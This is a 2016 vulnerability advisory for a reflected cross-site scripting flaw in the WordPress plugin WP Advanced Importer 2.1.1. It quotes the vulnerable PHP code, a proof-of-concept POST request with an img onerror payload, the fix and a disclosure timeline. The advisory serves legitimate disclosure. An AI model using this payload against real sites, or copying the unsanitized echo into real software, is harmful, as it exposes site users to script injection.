WordPress WP Advanced Importer 2.1.1 Cross Site Scripting
Posted on 25 February 2016
## FULL DISCLOSURE #Product : WP Advanced Importer #Exploit Author : Rahul Pratap Singh #Version : 2.1.1 #Home page Link : https://wordpress.org/plugins/wp-advanced-importer/ #Website : 0x62626262.wordpress.com <http://0x62626262.wordpress.com/> #Linkedin : https://in.linkedin.com/in/rahulpratapsingh94 #Date : 23/Feb/2016 XSS Vulnerability: ---------------------------------------- Description: ---------------------------------------- "alertmsg" parameter is not sanitized that leads to Reflected XSS. ---------------------------------------- Vulnerable Code: ---------------------------------------- File: index.php function trans_xmlalert_str(){ if(isset($_POST['alertmsg'])) echo __($_POST['alertmsg'],'wp-advanced-importer'); die(); ---------------------------------------- Exploit: ---------------------------------------- POST wordpress/wp-admin/admin-ajax.php action=trans_xmlalert_str&alertmsg="><img src=x onerror=alert(1)> ---------------------------------------- POC: ---------------------------------------- https://0x62626262.files.wordpress.com/2016/02/wp-advanced-importerxsspoc.png?w=1700 Fix: Update to 2.2 Vulnerability Disclosure Timeline: → January 30, 2016 – Bug discovered, initial report to WordPress → February 1, 2016 – WordPress response, plugin taken down → February 23, 2016 – Vendor Deployed a Patch ####################################### # CTG SECURITY SOLUTIONS # # www.ctgsecuritysolutions.com<http://www.ctgsecuritysolutions.com/> # ####################################### Pub Ref: https://wordpress.org/plugins/wp-advanced-importer/changelog/ [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.
